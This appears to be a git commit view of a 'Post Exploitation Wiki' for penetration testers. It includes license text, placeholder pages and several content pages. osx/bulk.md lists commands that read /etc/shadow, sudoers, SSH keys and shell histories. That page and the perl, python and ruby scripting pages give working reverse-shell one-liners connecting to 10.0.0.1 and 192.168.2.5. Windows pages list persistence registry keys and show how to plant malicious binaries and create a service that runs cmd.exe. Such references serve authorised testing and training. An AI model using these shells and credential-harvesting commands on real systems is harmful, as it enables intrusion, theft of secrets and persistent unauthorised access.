c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.

48
mdwiki-0.5.5/LICENSE.txt Normal file
View File

@ -0,0 +1,48 @@
MDwiki is licensed under the terms of the GNU GPLv3 with additional terms and
linking exceptions. The GPLv3 license text can be found in the GPLv3.txt file, the
additional terms are given below this paragraph.
Linking exceptions
------------------
In addition to the terms in the GPLv3 the following linking exceptions apply:
The authors of this work grant the rights to dynamically link against the below
listed external sources or binaries during runtime, as an exception to the terms of
the GNU GPLv3, under the terms that none of that linked code shall be deemed part of
this work, or a derivative work of this work, and as such are not required to meet
the license terms of the GPLv3 and as such are not covered by the terms of the GPLv3
when conveying this work.
The full and exhaustive list of those sources excepted from the GPLv3 are:
* The Google Maps API v3 located at: http://maps.google.com/maps/api/js
* The twitter "follow button" widget located at http://platform.twitter.com/widgets.js
* The GitHub Gist API located at http://gist.github.com/{id}.js. This applies only to
the javascript coded issues by GitHub Inc. and explicitly does not apply to the
content of any GitHub gist.
* The disqus API located at http://<name>.disqus.com/embed.js where <name> is the
userid of the forum.
Additional terms to GPLv3
-------------------------
In compliance with section 7 of the GNU GPLv3 the following additional terms apply:
a) The contained and displayed copyright attribution footer notice may not be removed,
modified, altered or styled, or being removed, modified, altered or styled by
external software (scripts, stylesheets, filters) in a way that would considerably
affect visibility or readability of the notice to the user or any third party that
uses the software locally or over the network; this especially includes resizing,
overlaying, hiding or similar techniques.
b) You may adjust or style the copyright footer to suit the appearance or layout of
your website, as long as this does not violate the terms given in section (a)
c) Attribution hyperlinks in the footer have to be kept unaltered.
d) You may add your name to the list of copyright holder(s) in the footer if you make
changes to the work, keeping intact all other copyright holder names
e) Changes to these terms require written permission by the copyright holder(s).

4
mdwiki-0.5.5/README.md Normal file
View File

@ -0,0 +1,4 @@
MDwiki
======
See http://www.mdwiki.info/ for more documentation and details.

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

209
mdwiki-0.5.5/mdwiki.html Normal file

File diff suppressed because one or more lines are too long

3
mobile/android.md Normal file
View File

@ -0,0 +1,3 @@
# Place Holder
Content coming. Feel free to submit ;-)

3
mobile/ios.md Normal file
View File

@ -0,0 +1,3 @@
# Place Holder
Content coming. Feel free to submit ;-)

3
msf/auxiliary.md Normal file
View File

@ -0,0 +1,3 @@
# Place Holder
Content coming. Feel free to submit ;-)

3
msf/exploit.md Normal file
View File

@ -0,0 +1,3 @@
# Place Holder
Content coming. Feel free to submit ;-)

3
msf/meterpreter.md Normal file
View File

@ -0,0 +1,3 @@
# Meterpreter
Just the commands built in to meterpreter, post modules and railgun are in their own sections.

3
msf/post.md Normal file
View File

@ -0,0 +1,3 @@
# Place Holder
Content coming. Feel free to submit ;-)

3
msf/railgun.md Normal file
View File

@ -0,0 +1,3 @@
# Place Holder
Content coming. Feel free to submit ;-)

3
msf/tools.md Normal file
View File

@ -0,0 +1,3 @@
# Place Holder
Content coming. Feel free to submit ;-)

73
navigation.md Normal file
View File

@ -0,0 +1,73 @@
# Post Exploitation Wiki
[Home](index.md)
[Windows]()
* [Autostart Locations](windows/autostart.md)
* [Binary Planting](windows/binary.md)
* [CMD Commands](windows/cmd.md)
* [Covering Tracks](windows/cover.md)
* [Files - Blind](windows/blind.md)
* [Files - Finding](windows/find_files.md)
* [Files - Important](windows/files.md)
* [Persistance](windows/persistance.md)
* [Powershell](windows/powershell.md)
* [Privilege Escalation](windows/privesc.md)
* [Remote Access](windows/remote.md)
* [UAC Bypassing](windows/uac.md)
* [MSSQL Servers](windows/mssql.md)
[Linux]()
* [Google Doc Content](linux/bulk.md)
* [Files - Blind](linux/blind.md)
* [SH/BASH Commands](linux/bash.md)
* [Persistance](linux/persistance.md)
* [Privilege Escalation](linux/privesc.md)
[OSX]()
* [Google Doc Content](osx/bulk.md)
* [Bash Commands](osx/bash.md)
* [Files - Blind](osx/blind.md)
* [Persistance](osx/persistance.md)
* [Privilege Escalation](osx/privesc.md)
[Mobile]()
* [Android](mobile/android.md)
* [iOS](mobile/ios.md)
[Other OSs]()
* [zOS](otheros/zos.md)
* [AS/400](otheros/as400.md)
* [Cisco](otheros/cisco.md)
* [Juniper](otheros/juniper.md)
[Scripting]()
* [Python](scripting/python.md)
* [Ruby](scripting/ruby.md)
* [Perl](scripting/perl.md)
[Metasploit]()
* [Meterpreter](msf/meterpreter.md)
* [Auxiliary Modules](msf/aux.md)
* [Exploit Modules](msf/exploit.md)
* [Post Modules](msf/post.md)
* [Railgun](msf/railgun.md)
* [MSF Tools](msf/tools.md)
[References]()
* [Unix Rosetta Stone](references/rosetta.htm)
[Links](links.md)
[gimmick:themechooser](Wiki Theme)

3
osx/bash.md Normal file
View File

@ -0,0 +1,3 @@
# Place Holder
Content coming. Feel free to submit ;-)

3
osx/blind.md Normal file
View File

@ -0,0 +1,3 @@
# Place Holder
Content coming. Feel free to submit ;-)

138
osx/bulk.md Executable file
View File

@ -0,0 +1,138 @@
# OS X Google Doc Content #
The content below is the raw data from the Google Doc that was first used to collect it. Over time, this content will be moved into sub-pages and organized but is placed here, now, so as to be more complete. We apologize for its appearance.
----
## Blind Files
(things to pull when all you can do is blindly read) LFI/dir traversal
/etc/resolv.conf (everyone always has read on this and it wont trigger an IDS)
## System
<code>uname -a
ps aux
ps -aef
id
arch
w
who -a
gcc -v
mysql --version
perl -v
ruby -v
python --version
df -k
mount
last -a
lastlogin (*bsd)
getenforce <- does not work on Lion no idea if this work in previous versions
dmesg
lsusb<- does not work on Lion no idea it this work on previous versions
lshw <- does not work on Lion no idea it this work on previous versions
free -m <- does not work on Lion no idea it this work on previous versions
du -h --max-depth=1 /
which nmap (see if it's already installed)
locate bin/nmap
which nc (see if it's already installed)
locate bin/<whatever you want>
whoami
jps -l
java -version</code>
## Networking
<code>hostname -f
ip addr show
ifconfig -a
route -n
cat /etc/network/interfaces
iptables -L -n
netstat -anop
netstat -r
netstat -nltupw (root with raw sockets)
arp -a
lsof -nPi</code>
## Configs
<code>ls -aRl /etc/ | awk '$1 ~ /w.$/' | grep -v lrwx 2>/dev/null
cat /etc/issue{,.net}
cat /etc/passwd
cat /etc/shadow (gotta try..)
cat /etc/shadow~ # (sometimes there when edited with gedit)
cat /etc/master.passwd
cat /etc/group
cat /etc/hosts
cat /etc/crontab
cat /etc/sysctl.conf
for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lists all crons)
cat /etc/resolv.conf
cat /etc/samba/smb.conf
pdbedit -L -w
pdbedit -L -v
cat /etc/exports
cat /etc/auto.master
cat /etc/auto_maste
cat /etc/fstab
cat /etc/exports
find /etc/sysconfig/ -type f -exec cat {} \;
cat /etc/sudoers</code>
## Package Sources
<code>cat /etc/apt/sources.list
ls -l /etc/yum.repos.d/
cat /etc/yum.conf</code>
## Finding Important Files
<code>find /var/log -type f -exec ls -la {} \;
ls -alhtr /mnt
ls -alhtr /Volumes
ls -alhtr /tmp
ls -alhtr /home
ls /Users/*/.ssh/*
find /home -type f -iname '.*history'
ls -lart /etc/rc.d/
locate tar | grep [.]tar$
locate tgz | grep [.]tgz$
locate sql l grep [.]sql$
locate settings | grep [.]php$
locate config.inc | grep [.]php$
ls /Users/*/id*
locate .properties | grep [.]properties # java config files
locate .xml | grep [.]xml # java/.net config files
find /sbin /usr/sbin /opt /lib `echo $PATH | 'sed s/:/ /g'` -perm -4000 # find suids</code>
## Per User
<code>ls -alh /Users/*/
ls -alh /Users/*/.ssh/
cat /Users/*/.ssh/authorized_keys
cat /Users/*/.ssh/known_hosts
cat /Users/*/.*hist*
find -type f /Users/*/.vnc /Users/*/.subversion
grep ^ssh /Users/*/.*hist*
grep ^telnet `/Users/*/.*hist*
grep ^mysql /Users/*/.*hist*
cat /Users/*/.viminfo
sudo -l # if sudoers is not readable, this sometimes works per user
crontab -l</code>
## Priv (sudo'd or as root)
<code>ls -alh /root/
cat /etc/sudoers
cat /etc/shadow
cat /etc/master.passwd # OpenBSD
cat /var/spool/cron/crontabs/*
lsof -nPi
ls /Users/*/.ssh/*</code>
## Reverse Shell
<code>starting list sourced from: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 # No /dev/tcp on Mac OS X
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
nc -e /bin/sh 10.0.0.1 1234 # note need -l on some versions, and many does NOT support -e anymore
rm /tmp/;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
xterm -display 10.0.0.1:1
Listener- Xnest :1
Add permission to connect- xhost +victimIPf</code>

3
osx/persistance.md Normal file
View File

@ -0,0 +1,3 @@
# Place Holder
Content coming. Feel free to submit ;-)

3
osx/privesc.md Normal file
View File

@ -0,0 +1,3 @@
# Place Holder
Content coming. Feel free to submit ;-)

3
otheros/as400.md Normal file
View File

@ -0,0 +1,3 @@
# Place Holder
Content coming. Feel free to submit ;-)

3
otheros/cisco.md Normal file
View File

@ -0,0 +1,3 @@
# Place Holder
Content coming. Feel free to submit ;-)

3
otheros/juniper.md Normal file
View File

@ -0,0 +1,3 @@
# Place Holder
Content coming. Feel free to submit ;-)

3
otheros/zos.md Normal file
View File

@ -0,0 +1,3 @@
# Place Holder
Content coming. Feel free to submit ;-)

File diff suppressed because it is too large Load Diff

4035
references/rosetta.htm Executable file

File diff suppressed because it is too large Load Diff

8
scripting/NodeJS.md Normal file
View File

@ -0,0 +1,8 @@
# NodeJS Commands and Scripts for Post Exploitation
**Start a web server that serves the local files on port 8080**
```
npm install -g http-server
http-server
```

5
scripting/perl.md Normal file
View File

@ -0,0 +1,5 @@
# Perl Commands and Scripts for Post Exploitation
**Perl reverse shell from [pentestmonkey.net](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)**
```perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'```

13
scripting/python.md Normal file
View File

@ -0,0 +1,13 @@
# Python Command and Scripts for Post Exploitation
One liners
-----------
**Start a web server that serves the local files on port 8000, single threaded**
```python
python -m SimpleHTTPServer 8000
```
**Python reverse shell from [pentestmonkey.net](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)**
```python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'```

12
scripting/ruby.md Normal file
View File

@ -0,0 +1,12 @@
# Ruby Command and Scripts for Post Exploitation
One liners
-----------
**Start a web server that serves the local files from current directory on port 8001**
```ruby -run -e httpd -- -p 8001 .```
**Reverse /bin/sh shell on port 443 from [pentestmonkey.net](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)**
```ruby -rsocket -e'f=TCPSocket.open("192.168.2.5",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'```

94
windows/autostart.md Executable file
View File

@ -0,0 +1,94 @@
## Windows Autostart Locations
### Folders
| Location | Operating System |
| -------- | ---------------- |
| `%SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\` | Windows NT 6.0, 6.1 |
| `%SystemDrive%\Documents And Settings\All Users\Start Menu\Programs\StartUp\` | Windows 5.0, 5.1, 5.2 |
| `%SystemDrive%\wmiOWS\Start Menu\Programs\StartUp\` | Windows 9x |
| `%SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\StartUp\` | Windows NT 3.50, 3.51, 4.0 |
| `User\Startup\` | |
| `%windir%\Start Menu\Programs\Startup\` | |
| `%windir%\Tasks\` | |
| `%windir%\system\iosubsys\` | |
| `%windir%\system\vmm32\` | |
### Files
| Location | Operating System |
| -------- | ---------------- |
| `%windir%\dosstart.bat` | |
| `%windir%\system.ini` - [boot] "scrnsave.exe" | |
| `%windir%\system.ini` - [boot] "shell" | |
| `%windir%\system\autoexec.nt` | |
| `%windir%\system\config.nt` | |
| `%windir%\win.ini` - [windows] "load" | |
| `%windir%\win.ini` - [windows] "run" | |
| `%windir%\wininit.ini` | |
| `%windir%\winstart.bat` | |
| `c:\autoexec.bat` | |
| `c:\config.sys` | |
| `c:\explorer.exe` | |
### Registry
| Location | Function |
| -------- | -------- |
| `%windir%\dosstart.bat` | |
| `HKEY_CLASSES_ROOT\batfile\shell\open\command\` | Executed whenever a .BAT file (Batch Command) is run. |
| `HKEY_CLASSES_ROOT\comfile\shell\open\command\` | Executed whenever a .COM file (Command) is run. |
| `HKEY_CLASSES_ROOT\exefile\shell\open\command\` | Executed whenever a .EXE file (Executable) is run. |
| `HKEY_CLASSES_ROOT\jsefile\shell\open\command\` | Executed whenever a .JSE file (Encoded Javascript) is run. |
| `HKEY_CLASSES_ROOT\jsfile\shell\open\command\` | Executed whenever a .JS file (Javascript) is run. |
| `HKEY_CLASSES_ROOT\piffile\shell\open\command\` | Executed whenever a .PIF file (Portable Interchange Format) is run. |
| `HKEY_CLASSES_ROOT\scrfile\shell\open\command\` | Executed whenever a .SCR file (Screen Saver) is run. |
| `HKEY_CLASSES_ROOT\vbefile\shell\open\command\` | Executed whenever a .VBE file (Encoded Visual Basic Script) is run. |
| `HKEY_CLASSES_ROOT\vbsfile\shell\open\command\` | Executed whenever a .VBS file (Visual Basic Script) is run. |
| `HKEY_CLASSES_ROOT\wsffile\shell\open\command\` | Executed whenever a .WSF file (Windows Scripting File) is run. |
| `HKEY_CLASSES_ROOT\wshfile\shell\open\command\` | Executed whenever a .WSH file (Windows Scripting Host) is run. |
| `HKEY_CURRENT_USER\Control Panel\Desktop` | The "SCRNSAVE.EXE" value is monitored. This value is launched when your screen saver activates. |
| `HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load` | Executed when the user logs in. |
| `HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\run` | Executed when the user logs in. |
| `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\` | Subvalues are executed when Explorer initialises. |
| `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup\` | Used only by Setup. Displays a progress dialog box as the keys are run one at a time. |
| `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\` | All values in this key are executed, and then their autostart reference is deleted. |
| `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\` | All values in this key are executed. |
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components\` | All subkeys are monitored, with special attention paid to the "StubPath" value in each subkey. |
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit` | Executed when a user logs in. |
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon` | The "Shell" value is monitored. This value is executed after you log in. |
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run\` | All values in this key are executed. |
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\` | Subvalues are executed when Explorer initialises. |
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\` | All values in this key are executed, and then their autostart reference is deleted. |
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce\` | All values in this key are executed as services, and then their autostart reference is deleted. |
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\` | All values in this key are executed as services. |
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\` | Executed by explorer.exe as soon as it has loaded. |
| `HKEY_LOCAL_MACHINE\System\Control\WOW\cmdline` | Executed when a 16-bit Windows executable is executed. |
| `HKEY_LOCAL_MACHINE\System\Control\WOW\wowcmdline` | Executed when a 16-bit DOS application is executed. |
| `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager` | The "BootExecute" value is monitored. Files listed here are Native Applications that are executed before Windows starts. |
| `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servic es\VxD\` | All subkeys are monitored, with special attention paid to the "StaticVXD" value in each subkey. |
| `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Winsock2\Parameters\Protocol_Catalog\Catalog_En tries\` | Layered Service Providers, executed before user login. |
| `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\` | Services marked to startup automatically are executed before user login. |
| `HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\RunOnce\` | Similar to the RunOnce key from HKEY_CURRENT_USER. |
| `HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Run\` | Similar to the Run key from HKEY_CURRENT_USER. |
## Windows Operating System Versions
From http://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx:
The following table summarizes the most recent operating system version numbers.
| Operating system | Version number |
| ---------------- | -------------- |
| Windows 8.1 | 6.3 |
| Windows Server 2012 R2 | 6.3 |
| Windows 8 | 6.2 |
| Windows Server 2012 | 6.2 |
| Windows 7 | 6.1 |
| Windows Server 2008 R2 | 6.1 |
| Windows Server 2008 | 6.0 |
| Windows Vista | 6.0 |
| Windows Server 2003 R2 | 5.2 |
| Windows Server 2003 | 5.2 |
| Windows XP 64-Bit Edition | 5.2 |
| Windows XP | 5.1 |
| Windows 2000 | 5.0 |
## References
A large portion of this content came from https://web.archive.org/web/20110203184210/http://www.easy-data.no/Autostart.html

11
windows/binary.md Executable file
View File

@ -0,0 +1,11 @@
# Windows Binary Planting
Binary Planting is essentially putting binary is a specific place, be it moved, copied or uploaded to create the desired effect. In this section we'll be going over the use of binary planting to escalate privileges.
| Command | Description / Importance |
| ------- | ------------------------ |
| `%SystemRoot%\System32\wbem\mof\` | Taken from Stuxnet: http://blogs.iss.net/archive/papers/ibm-xforce-an-inside-look-at-stuxnet.pdf Look for Print spooler vulnerability. |
| `echo $PATH` | Check the $PATH environmental variable. Some directories may be writable. See: https://www.htbridge.com/advisory/HTB23108 |
| `msiexec.exe` | Idea taken from here: http://goo.gl/E3LTa - basically put evil binary named msiexec.exe in Downloads directory and when a installer calles msiexec without specifying path you get code execution. |
| `sc create cmdsys type= own type= interact binPath= "c:\windows\system32\cmd.exe /c cmd.exe" & sc start cmdsys` | Create malicious services. |
